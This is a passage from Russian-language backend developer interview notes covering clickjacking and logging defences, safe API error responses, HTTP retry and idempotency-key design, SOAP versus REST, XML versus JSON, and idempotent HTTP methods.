не перенаправлять на произвольный пользовательский URL

19. Clickjacking #

Злоумышленник встраивает приложение в прозрачный iframe и размещает поверх собственный интерфейс. Пользователь думает, что нажимает одну кнопку, но взаимодействует с целевым сайтом.

Защита:

Content-Security-Policy: frame-ancestors 'none'

или разрешение только доверенным родителям:

Content-Security-Policy: frame-ancestors 'self'

OWASP рекомендует frame-ancestors CSP для защиты от framing-атак.

20. Недостаточные логи и обработка ошибок #

Приложение может:

  • не записывать неудачные входы;

  • не фиксировать изменение прав;

  • не оповещать о подборе паролей;

  • позволять изменять логи;

  • записывать в логи токены и пароли;

  • возвращать stack trace клиенту;

  • при ошибке разрешать операцию вместо запрета;

  • оставлять систему в частично изменённом состоянии.

Правильный принцип:

fail closed

То есть при неопределённом состоянии безопаснее запретить действие, чем разрешить его.

OWASP Top 10:2025 отдельно выделяет Security Logging and Alerting Failures и новую категорию Mishandling of Exceptional Conditions, включающую утечки через ошибки, fail open, необработанные исключения и некорректное поведение при необычных состояниях.

Краткая карта #

УязвимостьОсновная причина
IDOR/BOLAНет проверки доступа к объекту
Privilege escalationНет проверки роли или permission
SQL InjectionДанные смешиваются с SQL
XSSНедоверенные данные выполняются браузером
CSRFБраузер автоматически отправляет credentials
SSRFBackend обращается по пользовательскому URL
Path TraversalПользователь управляет путём файла
Mass AssignmentКлиент может менять внутренние поля
File UploadСервер доверяет имени, типу или содержимому файла
Race ConditionКонкурентные операции нарушают инвариант
DoSНет лимитов ресурсов
Crypto FailuresНебезопасное хранение или передача данных
MisconfigurationНебезопасные настройки инфраструктуры
Supply ChainУязвимые зависимости или CI/CD
Business LogicНе предусмотрен опасный сценарий

Базовые меры защиты #

Проверять авторизацию на backend
Использовать параметризованные запросы
Экранировать вывод в зависимости от контекста
Применять CSRF-защиту при cookie-аутентификации
Валидировать все внешние данные
Ограничивать размер и частоту запросов
Использовать HTTPS
Безопасно хранить пароли и секреты
Обновлять зависимости
Использовать транзакции и DB constraints
Не раскрывать внутренние ошибки
Вести логи и настраивать оповещения
Проектировать систему по deny by default

Главная идея:

валидация отвечает:
«корректны ли данные?»

аутентификация:
«кто выполняет запрос?»

авторизация:
«разрешено ли ему это действие?»

безопасная обработка:
«не станут ли данные кодом или командой?»

бизнес-логика:
«допустима ли операция в текущем состоянии?»


39. Как вернуть клиенту понятный ответ, не раскрывая инфраструктурные детали? #

Основной принцип #

Клиенту возвращают информацию, необходимую для понимания и исправления ошибки, а технические подробности записывают во внутренние логи:

Клиент:
что произошло
какой тип ошибки
что можно исправить
идентификатор запроса

Логи:
исключение
stack trace
SQL/ошибка драйвера
состояние зависимостей
внутренние идентификаторы

То есть:

понятный публичный ответ
+
подробный внутренний лог

Единый формат ошибок #

Для HTTP API удобно использовать application/problem+json, определённый RFC 9457:

HTTP/1.1 422 Unprocessable Content
Content-Type: application/problem+json
X-Request-ID: 7fb67c28-864d-4b74-988d-ecdd8ae5df54
{
  "type": "/problems/validation-error",
  "title": "Ошибка валидации",
  "status": 422,
  "detail": "Некоторые поля содержат недопустимые значения",
  "instance": "/requests/7fb67c28-864d-4b74-988d-ecdd8ae5df54",
  "code": "VALIDATION_ERROR",
  "errors": [
    {
      "field": "quantity",
      "code": "out_of_range",
      "message": "Количество должно быть от 1 до 100"
    }
  ]
}

RFC 9457 определяет стандартные поля type, title, status, detail и instance. Поле detail должно помогать клиенту понять конкретную проблему, а не раскрывать отладочную информацию. Для машинной обработки лучше использовать стабильные поля вроде type или собственного code, а не разбирать текст detail.

Что означают поля #

type
→ стабильный идентификатор категории ошибки

title
→ краткое человекочитаемое название

status
→ HTTP status code

detail
→ безопасное описание конкретного случая

instance
→ идентификатор конкретного возникновения ошибки

code
→ прикладной машинный код

errors
→ ошибки отдельных полей

Frontend должен ориентироваться на:

if (error.code === "EMAIL_ALREADY_EXISTS") {
    showEmailConflict();
}

А не на текст:

// Ненадёжно
if (error.detail === "Пользователь с таким email уже существует") {
    // ...
}

Текст можно перевести или изменить, а стабильный код должен сохраняться.

Какие ответы возвращать #

Ошибка валидации #

HTTP/1.1 422 Unprocessable Content
{
  "type": "/problems/validation-error",
  "title": "Ошибка валидации",
  "status": 422,
  "detail": "Проверьте переданные значения",
  "code": "VALIDATION_ERROR",
  "errors": [
    {
      "field": "email",
      "code": "invalid_format",
      "message": "Укажите корректный email"
    }
  ]
}

Конфликт состояния #

HTTP/1.1 409 Conflict
{
  "type": "/problems/email-conflict",
  "title": "Email уже используется",
  "status": 409,
  "detail": "Укажите другой email",
  "code": "EMAIL_ALREADY_EXISTS"
}

Недостаточно прав #

HTTP/1.1 403 Forbidden
{
  "type": "/problems/forbidden",
  "title": "Доступ запрещён",
  "status": 403,
  "detail": "У вас нет прав для выполнения этой операции",
  "code": "ACCESS_DENIED"
}

Не нужно раскрывать внутреннюю проверку:

Запрещено, потому что:
role_id=3 отсутствует в таблице role_permissions,
permission_id=17, tenant_id=92

Непредвиденная ошибка #

HTTP/1.1 500 Internal Server Error
{
  "type": "/problems/internal-error",
  "title": "Внутренняя ошибка",
  "status": 500,
  "detail": "Не удалось обработать запрос",
  "code": "INTERNAL_ERROR",
  "request_id": "7fb67c28-864d-4b74-988d-ecdd8ae5df54"
}

Клиенту не нужно знать, произошла ли ошибка в PostgreSQL, Redis, RabbitMQ или стороннем API.

OWASP рекомендует возвращать клиентам общие сообщения об ошибках, не раскрывая лишние причины сбоя, а подробности сохранять на стороне сервера.

Что нельзя возвращать клиенту #

Плохой ответ:

{
  "detail": "asyncpg.exceptions.UniqueViolationError",
  "table": "users",
  "constraint": "users_email_key",
  "sql": "INSERT INTO users ...",
  "database_host": "postgres.internal:5432",
  "file": "/app/repositories/users.py",
  "line": 84,
  "stack_trace": "Traceback ..."
}

Не следует раскрывать:

stack trace
классы внутренних исключений
SQL-запросы
структуру таблиц
имена constraints
пути файловой системы
внутренние IP, hostnames и порты
версии серверного ПО
переменные окружения
секретные ключи
токены и cookies
ответы внутренних сервисов целиком

Такие данные помогают исследовать внутреннее устройство приложения и иногда содержат чувствительную информацию.

Что записывать в лог #

Для того же запроса сервер может записать:

level=ERROR
request_id=7fb67c28-864d-4b74-988d-ecdd8ae5df54
method=POST
path=/api/users
user_id=42
exception=UniqueViolationError
constraint=users_email_key
duration_ms=184

И полный stack trace:

Traceback (most recent call last):
  ...
asyncpg.exceptions.UniqueViolationError

Полезные поля:

request_id / trace_id
время
метод и маршрут
HTTP-статус
идентификатор пользователя
длительность запроса
тип исключения
stack trace
название внутренней операции
состояние upstream-зависимости

Но в логах также нельзя сохранять пароли, access/refresh-токены, session cookies, ключи API и другие секреты. OWASP рекомендует логировать ошибки и системные события, очищать пользовательские данные от log injection и защищать журналы как чувствительные данные.

Зачем нужен request_id #

Клиент получает:

{
  "code": "INTERNAL_ERROR",
  "request_id": "7fb67c28-864d-4b74-988d-ecdd8ae5df54"
}

Пользователь сообщает этот идентификатор поддержке, а разработчик находит соответствующие записи:

Frontend error
    ↓ request_id
Nginx log
Backend log
Worker log
External API trace

Сам request_id не должен содержать:

user_id
email
IP-адрес
название сервера
последовательный номер записи БД

Лучше использовать случайный UUID или идентификатор трассировки.

Разделяйте ожидаемые и неожиданные ошибки #

Ожидаемые #

Это часть контракта приложения:

пользователь не найден
email уже занят
товара нет на складе
недостаточно прав
невалидные поля

Для них создаются конкретные коды:

USER_NOT_FOUND
EMAIL_ALREADY_EXISTS
INSUFFICIENT_STOCK
ACCESS_DENIED
VALIDATION_ERROR

Неожиданные #

Это внутренние сбои:

ошибка БД
необработанное исключение
Redis недоступен
ошибка сериализации
сторонний API вернул неожиданный ответ

Клиенту возвращается обобщённый ответ:

{
  "code": "INTERNAL_ERROR",
  "detail": "Не удалось обработать запрос"
}

А подробности остаются в логах.

Пример в FastAPI #

import logging
from dataclasses import dataclass
from uuid import uuid4

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

logger = logging.getLogger(__name__)

app = FastAPI()


@dataclass
class ApplicationError(Exception):
    status_code: int
    code: str
    title: str
    detail: str


@app.middleware("http")
async def request_id_middleware(
    request: Request,
    call_next,
):
    request_id = str(uuid4())
    request.state.request_id = request_id

    response = await call_next(request)
    response.headers["X-Request-ID"] = request_id

    return response


@app.exception_handler(ApplicationError)
async def handle_application_error(
    request: Request,
    exc: ApplicationError,
) -> JSONResponse:
    request_id = request.state.request_id

    return JSONResponse(
        status_code=exc.status_code,
        media_type="application/problem+json",
        headers={"X-Request-ID": request_id},
        content={
            "type": f"/problems/{exc.code.lower()}",
            "title": exc.title,
            "status": exc.status_code,
            "detail": exc.detail,
            "code": exc.code,
            "request_id": request_id,
        },
    )


@app.exception_handler(Exception)
async def handle_unexpected_error(
    request: Request,
    exc: Exception,
) -> JSONResponse:
    request_id = request.state.request_id

    logger.exception(
        "Unhandled request error",
        extra={
            "request_id": request_id,
            "method": request.method,
            "path": request.url.path,
        },
    )

    return JSONResponse(
        status_code=500,
        media_type="application/problem+json",
        headers={"X-Request-ID": request_id},
        content={
            "type": "/problems/internal-error",
            "title": "Внутренняя ошибка",
            "status": 500,
            "detail": "Не удалось обработать запрос",
            "code": "INTERNAL_ERROR",
            "request_id": request_id,
        },
    )

Использование ожидаемой ошибки:

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    user = await user_repository.get(user_id)

    if user is None:
        raise ApplicationError(
            status_code=404,
            code="USER_NOT_FOUND",
            title="Пользователь не найден",
            detail="Пользователь с указанным идентификатором не существует",
        )

    return user

Не раскрывайте внутреннюю зависимость #

Плохо:

{
  "detail": "Redis at redis-master.internal:6379 is unavailable"
}

Лучше:

HTTP/1.1 503 Service Unavailable
{
  "type": "/problems/service-unavailable",
  "title": "Сервис временно недоступен",
  "status": 503,
  "detail": "Повторите запрос позднее",
  "code": "SERVICE_UNAVAILABLE",
  "request_id": "..."
}

Во внутреннем логе:

RedisConnectionError:
host=redis-master.internal
port=6379
timeout=1.0

Итоговая схема #

Ошибка
Определить ожидаемая она или внутренняя
Выбрать корректный HTTP-статус
Вернуть application/problem+json
Добавить стабильный code
Добавить безопасный detail
Добавить request_id
Технические детали записать в защищённый лог

Главное правило:

Клиенту:
«что произошло и что делать»

Разработчику в логах:
«где, почему и с каким исключением это произошло»


40. Как делать retry в HTTP request-response потоке? | Как делать retry, если HTTP-ручка держит соединение? #

Главное #

Retry — это повторная отправка нового HTTP-запроса. Нельзя «продолжить» оборвавшийся request-response с того же места.

Запрос №1
timeout / connection reset / 503
пауза
Запрос №2

Физически второй запрос иногда может использовать то же постоянное соединение, но логически это отдельный HTTP-запрос.

Если первый запрос всё ещё выполняется и соединение открыто, обычно нужно либо продолжать ждать, либо отменить запрос. Отправка второго такого же запроса параллельно может создать две одинаковые операции.

1. Какие запросы можно повторять #

Автоматически безопаснее повторять идемпотентные операции:

GET
HEAD
PUT
DELETE
OPTIONS

POST и PATCH нельзя автоматически повторять без дополнительной гарантии идемпотентности. RFC 9110 разрешает автоматическое повторение неидемпотентного метода только тогда, когда клиент знает, что операция фактически идемпотентна, либо знает, что первый запрос точно не был применён.

Пример опасной ситуации:

POST /payments
Backend создал платёж
Ответ потерялся
Клиент повторил POST
Создан второй платёж

2. При каких ошибках обычно делают retry #

СитуацияПовторять
Ошибка подключенияОбычно да
Connection resetОбычно да для идемпотентной операции
408 Request TimeoutВозможно
429 Too Many RequestsДа, с учётом Retry-After
502 Bad GatewayВозможно
503 Service UnavailableОбычно да
504 Gateway TimeoutВозможно
400, 403, 404, 422Обычно нет
409 ConflictОбычно нужно изменить состояние или запрос
500 Internal Server ErrorТолько если контракт API допускает повтор

Код ответа 408 позволяет повторить незавершённый запрос. Для 429 сервер может указать время ожидания через Retry-After; 503 также может сопровождаться этим заголовком.

Важно: статус 502, 503 или 504 не делает POST автоматически безопасным. Upstream мог выполнить операцию, но gateway не получил корректный ответ.

3. Backoff и jitter #

Нельзя повторять запрос сразу в бесконечном цикле:

попытка 1 → ошибка
попытка 2 → сразу
попытка 3 → сразу
попытка 4 → сразу

Так клиент усиливает перегрузку сервера.

Используют exponential backoff:

попытка 1 → подождать 250 мс
попытка 2 → подождать 500 мс
попытка 3 → подождать 1 секунду

И добавляют небольшое случайное отклонение — jitter:

500 мс + случайные 0–100 мс

Общая формула:

delay = min(max_delay, base_delay × 2^attempt) + jitter

Нужны ограничения:

максимум 2–3 повтора
+
общий deadline
+
максимальная задержка

Если сервер вернул:

Retry-After: 30

лучше ждать указанное сервером время, а не применять собственный короткий backoff. Значением Retry-After может быть количество секунд или HTTP-дата.

4. Timeout не означает, что операция не выполнилась #

Предположим, клиент ждёт ответ пять секунд:

0 сек  → POST отправлен
2 сек  → backend записал данные в БД
5 сек  → клиент получил read timeout
7 сек  → backend сформировал ответ, но клиент уже отключился

Для клиента результат неопределён:

операция могла выполниться
или
могла не выполниться

Особенно важно различать:

Connect timeout
→ соединение обычно не установлено

Write timeout
→ запрос мог быть отправлен частично

Read timeout
→ сервер мог полностью выполнить операцию,
  но клиент не получил ответ

HTTPX, например, отдельно различает connect, read, write и pool timeout.

5. Как повторять POST #

Для операций создания используют ключ идемпотентности:

POST /payments
Idempotency-Key: 44ff9ee1-9968-40cf-b962-504af51d5445
Content-Type: application/json

{
  "order_id": 1001,
  "amount": 50
}

Backend сохраняет:

user_id
idempotency_key
request_hash
status
response_status
response_body

Пример таблицы:

idempotency_records
├── principal_id
├── key
├── request_hash
├── status
│   ├── processing
│   ├── completed
│   └── failed
├── response_status
├── response_body
└── expires_at

Нужна уникальность:

UNIQUE (principal_id, key)

Поведение:

Первый запрос:
ключ новый
→ начать операцию
→ сохранить результат

Повторный запрос:
ключ уже завершён
→ не выполнять операцию повторно
→ вернуть сохранённый результат

Ключ ещё processing:
→ вернуть статус выполняющейся операции

Тот же ключ, другое тело:
→ отклонить запрос

Один и тот же ключ должен использоваться для повторов одной операции. Для новой операции генерируется новый ключ.

Idempotency-Key является распространённым прикладным механизмом, но соответствующая спецификация IETF на данный момент остаётся истёкшим Internet-Draft, а не опубликованным RFC.

6. Если HTTP-ручка долго держит соединение #

Рассмотрим обычную долгую ручку:

Frontend
    │ POST /reports
Backend
    │ выполняет работу 2 минуты
    │ соединение остаётся открытым
Frontend получает ответ

Пока запрос выполняется, клиент не должен отправлять его повторно только потому, что ответ ещё не пришёл.

Нужно согласовать timeout всей цепочки:

Frontend timeout
    >
Reverse proxy timeout
    >
Backend budget
    >
Timeout внутренних запросов

Например:

Frontend:          15 секунд
Reverse proxy:     14 секунд
Backend deadline:  12 секунд
External API:       3 секунды на попытку
Retries:            максимум 2

Плохая конфигурация:

Frontend ждёт 10 секунд
Backend делает 5 попыток по 10 секунд

Frontend давно отключится, а backend продолжит бесполезно занимать ресурсы.

7. Retry внутри backend-ручки #

Допустим, backend в ходе запроса обращается к стороннему API:

Frontend
Backend endpoint
Payment API

Backend может повторить вызов Payment API, пока входящий запрос ещё открыт:

Попытка 1 → connect timeout
Пауза
Попытка 2 → 200 OK
Backend → возвращает ответ frontend

Но retry должен укладываться в оставшийся deadline:

remaining = request_deadline - current_time

if remaining <= 0:
    raise GatewayTimeoutError()

Нужно ограничивать:

timeout каждой попытки
количество попыток
суммарное время
параллельность

В HTTPX встроенный параметр transport retries повторяет только ошибки подключения ConnectError и ConnectTimeout. Для обработки read/write ошибок и HTTP-статусов вроде 503 нужен отдельный retry-цикл.

8. Что делать, если соединение разорвалось #

Ситуация:

Клиент                    Backend
   │──── POST ───────────────>│
   │                           │ операция выполняется
   X соединение оборвалось     │
                               │ операция могла завершиться

Backend не обязан автоматически откатывать уже выполненную транзакцию только потому, что клиент отключился.

Клиент должен:

GET
→ повторить запрос

POST без идемпотентности
→ сначала проверить состояние операции

POST с Idempotency-Key
→ повторить с тем же ключом

Проверка состояния:

GET /payments/by-operation/44ff9ee1-9968-40cf-b962-504af51d5445

Ответ:

{
  "status": "completed",
  "payment_id": 845
}

9. Для долгих операций лучше не держать соединение #

Вместо:

POST /reports
→ ждать 5 минут

лучше:

POST /reports
Idempotency-Key: 2b317fd0-7778-4d38-8438-a57d3dd3fbd4

Ответить быстро:

HTTP/1.1 202 Accepted
Location: /operations/abc123
Retry-After: 2
Content-Type: application/json

{
  "operation_id": "abc123",
  "status": "pending"
}

Затем клиент проверяет статус:

GET /operations/abc123
{
  "operation_id": "abc123",
  "status": "running"
}

После завершения:

{
  "operation_id": "abc123",
  "status": "completed",
  "result_url": "/reports/845"
}

202 Accepted означает, что запрос принят, но обработка ещё не завершена. HTTP сам не умеет позже прислать новый финальный status code для уже завершённого ответа, поэтому нужен отдельный status endpoint, polling, SSE или WebSocket.

10. Long polling #

Long polling специально держит запрос открытым до события или timeout:

GET /notifications?after=150
сервер ждёт
появляется событие или наступает timeout
сервер отвечает
клиент сразу создаёт новый GET

Это не повтор бизнес-операции, а новый запрос на получение следующих событий.

Нужно передавать позицию:

GET /notifications?after=150

Тогда при переподключении клиент не получит все события заново:

150 уже обработано
→ вернуть события начиная с 151

RFC 6202 описывает long polling именно как цикл: сервер удерживает запрос до события или timeout, отвечает, после чего клиент создаёт следующий запрос. Слишком длинные таймауты могут конфликтовать с timeout proxy и приводить к 408 или 504.

11. Streaming и SSE #

При потоковом ответе сервер периодически отправляет данные:

GET /events
event 151
event 152
event 153
соединение оборвалось

После переподключения клиент должен передать последний обработанный идентификатор:

last_event_id = 153

и запросить продолжение:

вернуть события после 153

Это называется не повтором всего запроса с повторной бизнес-операцией, а возобновлением потока с checkpoint/cursor.

Если поток молчит длительное время, полезны heartbeat-сообщения, чтобы прокси и клиент видели активность соединения.

12. Пример retry-клиента #

Упрощённая схема для идемпотентного GET:

import asyncio
import random
import time

import httpx


RETRYABLE_STATUSES = {
    408,
    429,
    502,
    503,
    504,
}


async def get_with_retry(
    client: httpx.AsyncClient,
    url: str,
    *,
    max_attempts: int = 3,
    total_timeout: float = 10.0,
) -> httpx.Response:
    deadline = time.monotonic() + total_timeout
    last_error: Exception | None = None

    for attempt in range(max_attempts):
        remaining = deadline - time.monotonic()

        if remaining <= 0:
            raise TimeoutError("Total request deadline exceeded") from last_error

        try:
            response = await client.get(
                url,
                timeout=httpx.Timeout(
                    timeout=min(3.0, remaining),
                ),
            )

            if response.status_code not in RETRYABLE_STATUSES:
                response.raise_for_status()
                return response

            if attempt == max_attempts - 1:
                response.raise_for_status()

            retry_after = response.headers.get("Retry-After")

            if retry_after and retry_after.isdigit():
                delay = float(retry_after)
            else:
                delay = min(0.25 * (2**attempt), 2.0)

        except (
            httpx.ConnectError,
            httpx.ConnectTimeout,
            httpx.ReadError,
            httpx.ReadTimeout,
        ) as exc:
            last_error = exc

            if attempt == max_attempts - 1:
                raise

            delay = min(0.25 * (2**attempt), 2.0)

        jitter = random.uniform(0, delay * 0.2)
        sleep_time = min(
            delay + jitter,
            max(0.0, deadline - time.monotonic()),
        )

        await asyncio.sleep(sleep_time)

    raise RuntimeError("Unreachable")

Этот код предназначен для операции чтения. Для POST требуется тот же Idempotency-Key на всех попытках.

Итоговая стратегия #

Обычный GET:
timeout
→ backoff + jitter
→ ограниченный retry

POST с изменением состояния:
Idempotency-Key
→ timeout
→ повтор с тем же ключом

Длительная операция:
POST
→ 202 + operation_id
→ GET status

Long polling:
сервер отвечает по событию/timeout
→ клиент создаёт новый GET с cursor

Streaming/SSE:
переподключение
→ продолжение с last_event_id

Backend вызывает внешний API:
retry внутри ручки
→ только в пределах общего deadline

Ключевое правило:

Retry нельзя проектировать отдельно от:
идемпотентности
таймаутов
дедлайнов
хранения состояния операции
и защиты от дубликатов


41. Отличия Soap от Rest и XML от JSON #

Главное различие #

Нужно разделять две разные пары понятий:

SOAP и REST → подходы к взаимодействию систем

XML и JSON → форматы представления данных

Связь между ними не жёсткая:

SOAP почти всегда использует XML

REST API может использовать:
JSON
XML
HTML
CSV
Protocol Buffers
или другой формат

SOAP — стандартизированный XML-based messaging framework, а REST — архитектурный стиль для распределённых систем.


SOAP #

SOAP расшифровывается как:

Simple Object Access Protocol

SOAP описывает строгий формат сообщения, основанный на XML. Основной элемент сообщения — Envelope.

Пример:

<?xml version="1.0" encoding="UTF-8"?>

<soap:Envelope
    xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
    xmlns:user="https://example.com/users"
>
    <soap:Header>
        <user:AuthToken>abc123</user:AuthToken>
    </soap:Header>

    <soap:Body>
        <user:GetUserRequest>
            <user:UserId>42</user:UserId>
        </user:GetUserRequest>
    </soap:Body>
</soap:Envelope>

Структура:

Envelope
├── Header — необязательная служебная информация
└── Body   — основное сообщение

SOAP поддерживает разные модели обмена, включая request-response и односторонние сообщения, и теоретически может передаваться через разные транспортные протоколы. На практике чаще используется HTTP или HTTPS.

REST #

REST расшифровывается как:

Representational State Transfer

REST — не протокол и не формат сообщения, а архитектурный стиль.

Обычно REST-подобный HTTP API строится вокруг ресурсов:

/users
/users/42
/orders
/orders/1001

А операции выражаются через семантику HTTP:

GET /users/42
POST /users
PUT /users/42
PATCH /users/42
DELETE /users/42

Пример ответа:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

REST предполагает такие ограничения, как client-server, stateless, cacheable responses, uniform interface и layered system.


SOAP vs REST #

КритерийSOAPREST
Что этоПротокол и messaging frameworkАрхитектурный стиль
Основная модельВызов операций и обмен сообщениямиРабота с представлениями ресурсов
Формат данныхXMLЛюбой, чаще JSON
ТранспортHTTP, другие протоколыОбычно HTTP
КонтрактОбычно строгий, часто WSDLЧасто OpenAPI, но не обязателен
Структура сообщенияEnvelope, Header, BodyОбычный HTTP request/response
HTTP-методыЧасто используется POSTОбычно используются GET, POST, PUT, PATCH, DELETE
HTTP-статусыМогут использоваться вместе с SOAP FaultОбычно активно используются
Размер сообщенийОбычно большеС JSON обычно меньше
Простота клиентаОбычно сложнееОбычно проще
Кеширование HTTPМенее естественноЕстественно для GET
Типичные системыEnterprise, старые интеграции, SOAP-сервисыWeb API, SPA, мобильные приложения, микросервисы

Различие в стиле обращения #

SOAP часто описывает операцию:

GetUser
CreateOrder
CancelPayment

Пример:

POST /UserService
Content-Type: application/soap+xml
<soap:Body>
    <GetUser>
        <UserId>42</UserId>
    </GetUser>
</soap:Body>

REST обычно описывает ресурс и применяемое к нему действие через HTTP:

GET /users/42
POST /orders
DELETE /orders/1001

Это не означает, что любой API с JSON автоматически является REST. Например:

POST /api/getUser
POST /api/deleteUser
POST /api/updateUser

может быть обычным RPC-подобным HTTP API, даже если данные передаются в JSON.


Контракт SOAP #

SOAP часто используется вместе с формальным описанием сервиса:

какие операции существуют
какие поля принимает операция
какие типы данных используются
какой ответ возвращается
какие ошибки возможны

За счёт строгого контракта можно генерировать клиентские классы и серверные интерфейсы.

Условно клиент работает так:

user = soap_client.service.GetUser(UserId=42)

Клиентская библиотека сама формирует XML-сообщение.

В REST API контракт тоже может быть строгим, например через OpenAPI, но сам REST не требует конкретного языка описания API.

Ошибки SOAP #

SOAP имеет специальную структуру Fault:

<soap:Envelope
    xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
>
    <soap:Body>
        <soap:Fault>
            <soap:Code>
                <soap:Value>soap:Sender</soap:Value>
            </soap:Code>

            <soap:Reason>
                <soap:Text xml:lang="ru">
                    Пользователь не найден
                </soap:Text>
            </soap:Reason>
        </soap:Fault>
    </soap:Body>
</soap:Envelope>

В REST-подобном HTTP API обычно используются HTTP-статусы:

HTTP/1.1 404 Not Found
Content-Type: application/problem+json

{
  "type": "/problems/user-not-found",
  "title": "Пользователь не найден",
  "status": 404
}

XML vs JSON #

XML #

XML расшифровывается как:

Extensible Markup Language

Это расширяемый язык разметки, основанный на элементах, атрибутах и текстовых узлах. XML-документ должен соответствовать правилам well-formed документа.

Пример:

<user active="true">
    <id>42</id>
    <username>alfob</username>

    <roles>
        <role>user</role>
        <role>editor</role>
    </roles>
</user>

XML поддерживает:

элементы
атрибуты
пространства имён
текстовые узлы
комментарии
смешанный текст и разметку
формальные XML-схемы

JSON #

JSON расшифровывается как:

JavaScript Object Notation

Это текстовый формат обмена структурированными данными. Его модель включает объекты, массивы, строки, числа, логические значения и null.

Пример:

{
  "id": 42,
  "username": "alfob",
  "active": true,
  "roles": [
    "user",
    "editor"
  ]
}

Несмотря на название, JSON не привязан к JavaScript и используется практически во всех современных языках.


XML vs JSON #

КритерийXMLJSON
НазначениеРазметка и структурированные документыОбмен структурированными данными
Основная структураЭлементы и атрибутыОбъекты и массивы
РазмерОбычно большеОбычно компактнее
ТипыВ основном текст без схемыСтроки, числа, boolean, null
МассивыМоделируются повторяющимися элементамиЕсть встроенный массив
АтрибутыЕстьНет отдельного типа атрибутов
Пространства имёнЕстьНет
КомментарииЕстьВ стандартном JSON нет
Mixed contentПоддерживаетсяНеудобен
Парсинг в браузереТребуется XML-парсерНативно поддерживается
Читаемость API-данныхОбычно нижеОбычно выше
СхемыXSD и другие технологииJSON Schema
Типичное применениеSOAP, документы, корпоративные стандартыREST API, конфигурации, frontend/backend

Компактность #

XML:

<user>
    <id>42</id>
    <username>alfob</username>
    <active>true</active>
</user>

JSON:

{
  "id": 42,
  "username": "alfob",
  "active": true
}

XML повторяет имя элемента:

<username>alfob</username>

JSON указывает имя поля один раз:

"username": "alfob"

Поэтому JSON обычно компактнее без сжатия. После gzip или Brotli разница может уменьшиться, поскольку повторяющиеся XML-теги хорошо сжимаются.

Типы данных #

JSON явно различает:

{
  "count": 10,
  "active": true,
  "description": null
}

Здесь:

10    → number
true  → boolean
null  → null

В обычном XML содержимое элементов является текстом:

<data>
    <count>10</count>
    <active>true</active>
</data>

Без схемы или соглашения парсер видит текстовые значения "10" и "true". Типы могут задаваться внешней XML-схемой.

Атрибуты XML #

XML позволяет выбирать между элементом:

<user>
    <id>42</id>
</user>

и атрибутом:

<user id="42" />

В JSON отдельного понятия атрибута нет:

{
  "id": 42
}

Это делает JSON проще, но XML предоставляет больше способов моделирования документов.

Пространства имён XML #

XML позволяет объединять элементы нескольких стандартов:

<order
    xmlns:payment="https://example.com/payment"
    xmlns:customer="https://example.com/customer"
>
    <payment:status>paid</payment:status>
    <customer:id>42</customer:id>
</order>

JSON не имеет встроенного механизма namespaces. Их приходится моделировать обычными полями или соглашениями.

Mixed content #

XML хорошо подходит для текста со встроенной разметкой:

<paragraph>
    Этот текст содержит
    <strong>важную часть</strong>.
</paragraph>

В JSON такую структуру приходится описывать искусственно:

{
  "type": "paragraph",
  "children": [
    {
      "type": "text",
      "value": "Этот текст содержит "
    },
    {
      "type": "strong",
      "value": "важную часть"
    }
  ]
}

Поэтому XML удобнее для документов, а JSON — для объектов API.


SOAP не равен XML #

SOAP использует XML, но не любой XML является SOAP.

Обычный XML:

<user>
    <id>42</id>
</user>

SOAP:

<soap:Envelope
    xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
>
    <soap:Body>
        <GetUser>
            <UserId>42</UserId>
        </GetUser>
    </soap:Body>
</soap:Envelope>

SOAP требует определённой структуры сообщения и правил его обработки.

REST не равен JSON #

REST API может вернуть XML:

GET /users/42
Accept: application/xml
HTTP/1.1 200 OK
Content-Type: application/xml
<user>
    <id>42</id>
    <username>alfob</username>
</user>

Или JSON:

GET /users/42
Accept: application/json
{
  "id": 42,
  "username": "alfob"
}

REST работает с представлениями ресурсов и не требует конкретного формата данных.

Когда выбирать REST + JSON #

Обычно подходит для:

web frontend
SPA
мобильного приложения
публичного API
внутренних микросервисов
простого CRUD

Преимущества:

проще разрабатывать и отлаживать
компактные сообщения
удобная работа из JavaScript
естественное использование HTTP
хорошая поддержка современных фреймворков

Когда встречается SOAP + XML #

Обычно используется в:

старых корпоративных системах
банковских интеграциях
государственных системах
телекоммуникациях
системах со строгими XML-контрактами
инфраструктуре, построенной на SOAP и WS-* стандартах

SOAP оправдан, когда существующая система требует именно его контракта и инфраструктуры. Для нового обычного web API чаще выбирают HTTP API с JSON.

Итог #

SOAP
→ строгий XML-based протокол обмена сообщениями

REST
→ архитектурный стиль взаимодействия с ресурсами

XML
→ расширяемый язык разметки и документов

JSON
→ компактный формат объектов, массивов и простых значений

Типичные сочетания:

SOAP + XML
REST + JSON
REST + XML
RPC over HTTP + JSON

Поэтому сравнение нужно делать на двух уровнях:

архитектура и взаимодействие:
SOAP vs REST

формат данных:
XML vs JSON


42. Что такое идемпотентность? #

Что такое идемпотентность #

Идемпотентность означает, что повторное выполнение одной и той же операции не изменяет итоговое состояние системы после первого успешного выполнения.

один вызов
и
несколько одинаковых вызовов

→ приводят к одному итоговому состоянию

Математически:

f(f(x)) = f(x)

Простой пример #

Операция:

Установить статус заказа = "cancelled"

При повторном выполнении состояние не меняется:

1-й вызов → status = cancelled
2-й вызов → status = cancelled
3-й вызов → status = cancelled

Операция идемпотентна.

А операция:

Увеличить баланс на 100

неидемпотентна:

1-й вызов → +100
2-й вызов → ещё +100
3-й вызов → ещё +100

Идемпотентность не означает одинаковый ответ #

Главное — одинаковое итоговое состояние, а не обязательное совпадение HTTP-ответов.

Например:

DELETE /users/42

Первый запрос:

204 No Content

Повторный:

404 Not Found

Ответы разные, но пользователь после обоих запросов отсутствует:

итоговое состояние одинаковое
→ операция идемпотентна

Идемпотентные HTTP-методы #

По семантике HTTP идемпотентными считаются:

GET
HEAD
PUT
DELETE
OPTIONS
TRACE

Обычно не считаются идемпотентными:

POST
PATCH

Но реальное поведение зависит от реализации endpoint.

GET #

GET /users/42

Многократное чтение не должно изменять состояние ресурса:

GET
GET
GET
→ пользователь не создаётся и не изменяется

Хотя сервер может записывать технические логи, метрики и статистику. Это не считается изменением запрошенного ресурса.

PUT #

PUT обычно полностью устанавливает указанное состояние ресурса:

PUT /users/42
Content-Type: application/json

{
  "username": "alex",
  "active": true
}

Повторение того же запроса:

1 раз  → пользователь имеет переданное состояние
